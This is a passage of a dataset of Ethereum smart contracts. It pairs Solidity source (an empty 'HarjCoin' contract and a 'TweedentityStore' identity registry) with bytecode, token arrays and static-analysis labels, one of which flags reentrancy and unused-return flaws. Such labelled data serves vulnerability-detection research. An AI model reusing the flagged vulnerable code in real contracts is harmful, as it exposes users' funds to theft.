8fc829081150290604051600060405180830381858888f19350505050158015611df9573d6000803e3d6000fd5b5050565b6000600854821115611e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3b9061356c565b60405180910390fd5b6000611e4e612157565b9050611e638184611d4790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea357611ea26128dd565b5b604051908082528060200260200182016040528015611ed15781602001602082028036833780820191505090505b5090503081600081518110611ee957611ee8612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb49190612da3565b81600181518110611fc857611fc7612c7c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461140f565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209395949392919061364a565b600060405180830381600087803b1580156120ad57600080fd5b505af11580156120c1573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120ef838383612182565b505050565b6000808311829061213b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612132919061276e565b60405180910390fd5b506000838561214a9190613437565b9050809150509392505050565b600080600061216461234d565b9150915061217b8183611d4790919063ffffffff16565b9250505090565b600080600080600080612194876123af565b9550955095509550955095506121f286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d3816124bf565b6122dd848361257c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233a91906128bd565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061238368056bc75e2d63100000600854611d4790919063ffffffff16565b8210156123a25760085468056bc75e2d631000009350935050506123ab565b81819350935050505b9091565b60008060008060008060008060006123cc8a600a54600b546125b6565b92509250925060006123dc612157565b905060008060006123ef8e87878761264c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c69565b905092915050565b600080828461247091906132b8565b9050838110156124b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ac906136f0565b60405180910390fd5b8091505092915050565b60006124c9612157565b905060006124e08284611ccd90919063ffffffff16565b905061253481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125918260085461241790919063ffffffff16565b6008819055506125ac8160095461246190919063ffffffff16565b6009819055505050565b6000806000806125e260646125d4888a611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061260c60646125fe888b611ccd90919063ffffffff16565b611d4790919063ffffffff16565b9050600061263582612627858c61241790919063ffffffff16565b61241790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126658589611ccd90919063ffffffff16565b9050600061267c8689611ccd90919063ffffffff16565b905060006126938789611ccd90919063ffffffff16565b905060006126bc826126ae858761241790919063ffffffff16565b61241790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561270f5780820151818401526020810190506126f4565b8381111561271e576000848401525b50505050565b6000601f19601f8301169050919050565b6000612740826126d5565b61274a81856126e0565b935061275a8185602086016126f1565b61276381612724565b840191505092915050565b600060208201905081810360008301526127888184612735565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127cf826127a4565b9050919050565b6127df816127c4565b81146127ea57600080fd5b50565b6000813590506127fc816127d6565b92915050565b6000819050919050565b61281581612802565b811461282057600080fd5b50565b6000813590506128328161280c565b92915050565b6000806040838503121561284f5761284e61279a565b5b600061285d858286016127ed565b925050602061286e85828601612823565b9150509250929050565b60008115159050919050565b61288d81612878565b82525050565b60006020820190506128a86000830184612884565b92915050565b6128b781612802565b82525050565b60006020820190506128d260008301846128ae565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61291582612724565b810181811067ffffffffffffffff82111715612934576129336128dd565b5b80604052505050565b6000612947612790565b9050612953828261290c565b919050565b600067ffffffffffffffff821115612973576129726128dd565b5b602082029050602081019050919050565b600080fd5b600061299c61299784612958565b61293d565b905080838252602082019050602084028301858111156129bf576129be612984565b5b835b818110156129e857806129d488826127ed565b8452602084019350506020810190506129c1565b5050509392505050565b600082601f830112612a0757612a066128d8565b5b8135612a17848260208601612989565b91505092915050565b600060208284031215612a3657612a3561279a565b5b600082013567ffffffffffffffff811115612a5457612a5361279f565b5b612a60848285016129f2565b91505092915050565b600080600060608486031215612a8257612a8161279a565b5b6000612a90868287016127ed565b9350506020612aa1868287016127ed565b9250506040612ab286828701612823565b9150509250925092565b600060208284031215612ad257612ad161279a565b5b6000612ae0848285016127ed565b91505092915050565b600060ff82169050919050565b612aff81612ae9565b82525050565b6000602082019050612b1a6000830184612af6565b92915050565b612b2981612878565b8114612b3457600080fd5b50565b600081359050612b4681612b20565b92915050565b600060208284031215612b6257612b6161279a565b5b6000612b7084828501612b37565b91505092915050565b600060208284031215612b8f57612b8e61279a565b5b6000612b9d84828501612823565b91505092915050565b612baf816127c4565b82525050565b6000602082019050612bca6000830184612ba6565b92915050565b60008060408385031215612be757612be661279a565b5b6000612bf5858286016127ed565b9250506020612c06858286016127ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c466020836126e0565b9150612c5182612c10565b602082019050919050565b60006020820190508181036000830152612c7581612c39565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ce582612802565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d1757612d16612cab565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d586017836126e0565b9150612d6382612d22565b602082019050919050565b60006020820190508181036000830152612d8781612d4b565b9050919050565b600081519050612d9d816127d6565b92915050565b600060208284031215612db957612db861279a565b5b6000612dc784828501612d8e565b91505092915050565b6000604082019050612de56000830185612ba6565b612df26020830184612ba6565b9392505050565b6000819050919050565b6000819050919050565b6000612e28612e23612e1e84612df9565b612e03565b612802565b9050919050565b612e3881612e0d565b82525050565b600060c082019050612e536000830189612ba6565b612e6060208301886128ae565b612e6d6040830187612e2f565b612e7a6060830186612e2f565b612e876080830185612ba6565b612e9460a08301846128ae565b979650505050505050565b600081519050612eae8161280c565b92915050565b600080600060608486031215612ecd57612ecc61279a565b5b6000612edb86828701612e9f565b9350506020612eec86828701612e9f565b9250506040612efd86828701612e9f565b9150509250925092565b6000604082019050612f1c6000830185612ba6565b612f2960208301846128ae565b9392505050565b600081519050612f3f81612b20565b92915050565b600060208284031215612f5b57612f5a61279a565b5b6000612f6984828501612f30565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fce6024836126e0565b9150612fd982612f72565b604082019050919050565b60006020820190508181036000830152612ffd81612fc1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130606022836126e0565b915061306b82613004565b604082019050919050565b6000602082019050818103600083015261308f81613053565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130f26025836126e0565b91506130fd82613096565b604082019050919050565b60006020820190508181036000830152613121816130e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131846023836126e0565b915061318f82613128565b604082019050919050565b600060208201905081810360008301526131b381613177565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132166029836126e0565b9150613221826131ba565b604082019050919050565b6000602082019050818103600083015261324581613209565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132826019836126e0565b915061328d8261324c565b602082019050919050565b600060208201905081810360008301526132b181613275565b9050919050565b60006132c382612802565b91506132ce83612802565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561330357613302612cab565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613344601a836126e0565b915061334f8261330e565b602082019050919050565b6000602082019050818103600083015261337381613337565b9050919050565b600061338582612802565b915061339083612802565b9250828210156133a3576133a2612cab565b5b828203905092915050565b60006133b982612802565b91506133c483612802565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133fd576133fc612cab565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061344282612802565b915061344d83612802565b92508261345d5761345c613408565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c46021836126e0565b91506134cf82613468565b604082019050919050565b600060208201905081810360008301526134f3816134b7565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613556602a836126e0565b9150613561826134fa565b604082019050919050565b6000602082019050818103600083015261358581613549565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135c1816127c4565b82525050565b60006135d383836135b8565b60208301905092915050565b6000602082019050919050565b60006135f78261358c565b6136018185613597565b935061360c836135a8565b8060005b8381101561363d57815161362488826135c7565b975061362f836135df565b925050600181019050613610565b5085935050505092915050565b600060a08201905061365f60008301886128ae565b61366c6020830187612e2f565b818103604083015261367e81866135ec565b905061368d6060830185612ba6565b61369a60808301846128ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136da601b836126e0565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f253e49cd5c50fb4c0dd627e40acd0440ce812c81c1f7fb67a44e215c7e5152964736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2575,
2509,
2278,
2692,
23833,
20958,
2475,
4246,
2497,
2509,
2278,
22907,
17134,
17134,
2278,
2581,
2575,
2683,
22025,
2692,
2475,
2546,
22407,
2063,
14526,
2050,
21084,
1013,
1008,
1008,
11265,
22123,
15735,
2378,
2226,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
11265,
22123,
15735,
2378,
2226,
16770,
1024,
1013,
1013,
11265,
22123,
15735,
2378,
13094,
2278,
1012,
4012,
1013,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
2410,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,553 | 0x95563e9e5700e728061059b5f52fc91b2cb5850c | pragma solidity ^0.4.21;
// NICE ETHERSCAN SNIPING MATE
contract HarjCoin{
} | 0x6060604052600080fd00a165627a7a7230582039bc566c246f695c00864c6f2cf96c3edaf4ccefe787e09d5a218240ed07954b0029 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
24087,
2575,
2509,
2063,
2683,
2063,
28311,
8889,
2063,
2581,
22407,
2692,
2575,
10790,
28154,
2497,
2629,
2546,
25746,
11329,
2683,
2487,
2497,
2475,
27421,
27814,
12376,
2278,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1013,
3835,
28855,
29378,
1055,
3490,
4691,
6775,
3206,
5292,
2099,
3501,
3597,
2378,
1063,
1065,
100,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
58,554 | 0x95568c9d79f46e8048344e7319754aec4b1965d4 | pragma solidity ^0.4.18;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2Ο.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
// File: contracts/TweedentityStore.sol
/**
* @title TweedentityStore
* @author Francesco Sullo <francesco@sullo.co>
* @dev It store the tweedentities related to the app
*/
contract TweedentityStore
is HasNoEther
{
string public version = "1.3.0";
uint public appId;
string public appNickname;
uint public identities;
address public manager;
address public newManager;
struct Uid {
string lastUid;
uint lastUpdate;
}
struct Address {
address lastAddress;
uint lastUpdate;
}
mapping(string => Address) internal __addressByUid;
mapping(address => Uid) internal __uidByAddress;
bool public appSet;
// events
event IdentitySet(
address indexed addr,
string uid
);
event IdentityUnset(
address indexed addr,
string uid
);
// modifiers
modifier onlyManager() {
require(msg.sender == manager || (newManager != address(0) && msg.sender == newManager));
_;
}
modifier whenAppSet() {
require(appSet);
_;
}
// config
/**
* @dev Sets the manager
* @param _address Manager's address
*/
function setManager(
address _address
)
external
onlyOwner
{
require(_address != address(0));
manager = _address;
}
/**
* @dev Sets new manager
* @param _address New manager's address
*/
function setNewManager(
address _address
)
external
onlyOwner
{
require(_address != address(0) && manager != address(0));
newManager = _address;
}
/**
* @dev Sets new manager
*/
function switchManagerAndRemoveOldOne()
external
onlyOwner
{
manager = newManager;
newManager = address(0);
}
/**
* @dev Sets the app
* @param _appNickname Nickname (e.g. twitter)
* @param _appId ID (e.g. 1)
*/
function setApp(
string _appNickname,
uint _appId
)
external
onlyOwner
{
require(!appSet);
require(_appId > 0);
require(bytes(_appNickname).length > 0);
appId = _appId;
appNickname = _appNickname;
appSet = true;
}
// helpers
/**
* @dev Checks if a tweedentity is upgradable
* @param _address The address
* @param _uid The user-id
*/
function isUpgradable(
address _address,
string _uid
)
public
constant returns (bool)
{
if (__addressByUid[_uid].lastAddress != address(0)) {
return keccak256(getUid(_address)) == keccak256(_uid);
}
return true;
}
// primary methods
/**
* @dev Sets a tweedentity
* @param _address The address of the wallet
* @param _uid The user-id of the owner user account
*/
function setIdentity(
address _address,
string _uid
)
external
onlyManager
whenAppSet
{
require(_address != address(0));
require(isUid(_uid));
require(isUpgradable(_address, _uid));
if (bytes(__uidByAddress[_address].lastUid).length > 0) {
// if _address is associated with an oldUid,
// this removes the association between _address and oldUid
__addressByUid[__uidByAddress[_address].lastUid] = Address(address(0), __addressByUid[__uidByAddress[_address].lastUid].lastUpdate);
identities--;
}
__uidByAddress[_address] = Uid(_uid, now);
__addressByUid[_uid] = Address(_address, now);
identities++;
IdentitySet(_address, _uid);
}
/**
* @dev Unset a tweedentity
* @param _address The address of the wallet
*/
function unsetIdentity(
address _address
)
external
onlyManager
whenAppSet
{
require(_address != address(0));
require(bytes(__uidByAddress[_address].lastUid).length > 0);
string memory uid = __uidByAddress[_address].lastUid;
__uidByAddress[_address] = Uid('', __uidByAddress[_address].lastUpdate);
__addressByUid[uid] = Address(address(0), __addressByUid[uid].lastUpdate);
identities--;
IdentityUnset(_address, uid);
}
// getters
/**
* @dev Returns the keccak256 of the app nickname
*/
function getAppNickname()
external
whenAppSet
constant returns (bytes32) {
return keccak256(appNickname);
}
/**
* @dev Returns the appId
*/
function getAppId()
external
whenAppSet
constant returns (uint) {
return appId;
}
/**
* @dev Returns the user-id associated to a wallet
* @param _address The address of the wallet
*/
function getUid(
address _address
)
public
constant returns (string)
{
return __uidByAddress[_address].lastUid;
}
/**
* @dev Returns the user-id associated to a wallet as a unsigned integer
* @param _address The address of the wallet
*/
function getUidAsInteger(
address _address
)
external
constant returns (uint)
{
return __stringToUint(__uidByAddress[_address].lastUid);
}
/**
* @dev Returns the address associated to a user-id
* @param _uid The user-id
*/
function getAddress(
string _uid
)
external
constant returns (address)
{
return __addressByUid[_uid].lastAddress;
}
/**
* @dev Returns the timestamp of last update by address
* @param _address The address of the wallet
*/
function getAddressLastUpdate(
address _address
)
external
constant returns (uint)
{
return __uidByAddress[_address].lastUpdate;
}
/**
* @dev Returns the timestamp of last update by user-id
* @param _uid The user-id
*/
function getUidLastUpdate(
string _uid
)
external
constant returns (uint)
{
return __addressByUid[_uid].lastUpdate;
}
// utils
function isUid(
string _uid
)
public
pure
returns (bool)
{
bytes memory uid = bytes(_uid);
if (uid.length == 0) {
return false;
} else {
for (uint i = 0; i < uid.length; i++) {
if (uid[i] < 48 || uid[i] > 57) {
return false;
}
}
}
return true;
}
// private methods
function __stringToUint(
string s
)
internal
pure
returns (uint result)
{
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function __uintToBytes(uint x)
internal
pure
returns (bytes b)
{
b = new bytes(32);
for (uint i = 0; i < 32; i++) {
b[i] = byte(uint8(x / (2 ** (8 * (31 - i)))));
}
}
} | 0x606060405260043610610149576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063194c78d01461015657806328faf2171461018d57806342906029146101c657806344ae2c031461021b578063481c6a751461024c5780634ef8086a146102a1578063502fe251146102b657806354fd4d50146102f8578063686e177b14610386578063693dde5c1461041a57806369bdd5dd14610443578063778e55481461047057806380afdea8146104bd578063897cab17146104e65780638da5cb5b146105335780638ec5ff41146105885780639f727c27146105fd578063bf40fac114610612578063bf749b6a14610680578063bff5fb6414610732578063d0ebdbe7146107c0578063d30f945a146107f9578063de9f424814610832578063ed1865711461085b578063f2fde38b146108a8575b341561015457600080fd5b005b341561016157600080fd5b61018b600480803590602001908201803590602001919091929080359060200190919050506108e1565b005b341561019857600080fd5b6101c4600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109b2565b005b34156101d157600080fd5b6101d9610f55565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561022657600080fd5b61022e610f7b565b60405180826000191660001916815260200191505060405180910390f35b341561025757600080fd5b61025f611007565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102ac57600080fd5b6102b461102d565b005b34156102c157600080fd5b6102e26004808035906020019082018035906020019190919290505061112f565b6040518082815260200191505060405180910390f35b341561030357600080fd5b61030b611162565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034b578082015181840152602081019050610330565b50505050905090810190601f1680156103785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561039157600080fd5b610400600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611200565b604051808215151515815260200191505060405180910390f35b341561042557600080fd5b61042d6113ae565b6040518082815260200191505060405180910390f35b341561044e57600080fd5b6104566113d3565b604051808215151515815260200191505060405180910390f35b341561047b57600080fd5b6104a7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113e6565b6040518082815260200191505060405180910390f35b34156104c857600080fd5b6104d06114d2565b6040518082815260200191505060405180910390f35b34156104f157600080fd5b610531600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001919091929050506114d8565b005b341561053e57600080fd5b610546611af8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561059357600080fd5b6105e3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611b1d565b604051808215151515815260200191505060405180910390f35b341561060857600080fd5b610610611cbb565b005b341561061d57600080fd5b61063e60048080359060200190820180359060200191909192905050611d8d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068b57600080fd5b6106b7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611de0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f75780820151818401526020810190506106dc565b50505050905090810190601f1680156107245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073d57600080fd5b610745611eca565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561078557808201518184015260208101905061076a565b50505050905090810190601f1680156107b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107cb57600080fd5b6107f7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f68565b005b341561080457600080fd5b610830600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612043565b005b341561083d57600080fd5b610845612179565b6040518082815260200191505060405180910390f35b341561086657600080fd5b610892600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061217f565b6040518082815260200191505060405180910390f35b34156108b357600080fd5b6108df600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506121cb565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561093c57600080fd5b600960009054906101000a900460ff1615151561095857600080fd5b60008111151561096757600080fd5b60008383905011151561097957600080fd5b806002819055508282600391906109919291906123f8565b506001600960006101000a81548160ff021916908315150217905550505050565b6109ba612478565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610abe5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015610abd5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b5b1515610ac957600080fd5b600960009054906101000a900460ff161515610ae457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610b2057600080fd5b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001805460018160011615610100020316600290049050111515610b8557600080fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c5b5780601f10610c3057610100808354040283529160200191610c5b565b820191906000526020600020905b815481529060010190602001808311610c3e57829003601f168201915b50505050509050604080519081016040528060206040519081016040528060008152508152602001600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154815250600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000019080519060200190610d2492919061248c565b50602082015181600101559050506040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016007836040518082805190602001908083835b602083101515610d925780518252602082019150602081019050602083039250610d6d565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600101548152506007826040518082805190602001908083835b602083101515610e045780518252602082019150602081019050602083039250610ddf565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155905050600460008154809291906001900391905055508173ffffffffffffffffffffffffffffffffffffffff167fbcf27d646501987f37d06dde232c521019931de1dc82a429d07e6a5f8b13c452826040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f17578082015181840152602081019050610efc565b50505050905090810190601f168015610f445780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900460ff161515610f9857600080fd5b60036040518082805460018160011615610100020316600290048015610ff55780601f10610fd3576101008083540402835291820191610ff5565b820191906000526020600020905b815481529060010190602001808311610fe1575b50509150506040518091039020905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108857600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006007838360405180838380828437820191505092505050908152602001604051809103902060010154905092915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111f85780601f106111cd576101008083540402835291602001916111f8565b820191906000526020600020905b8154815290600101906020018083116111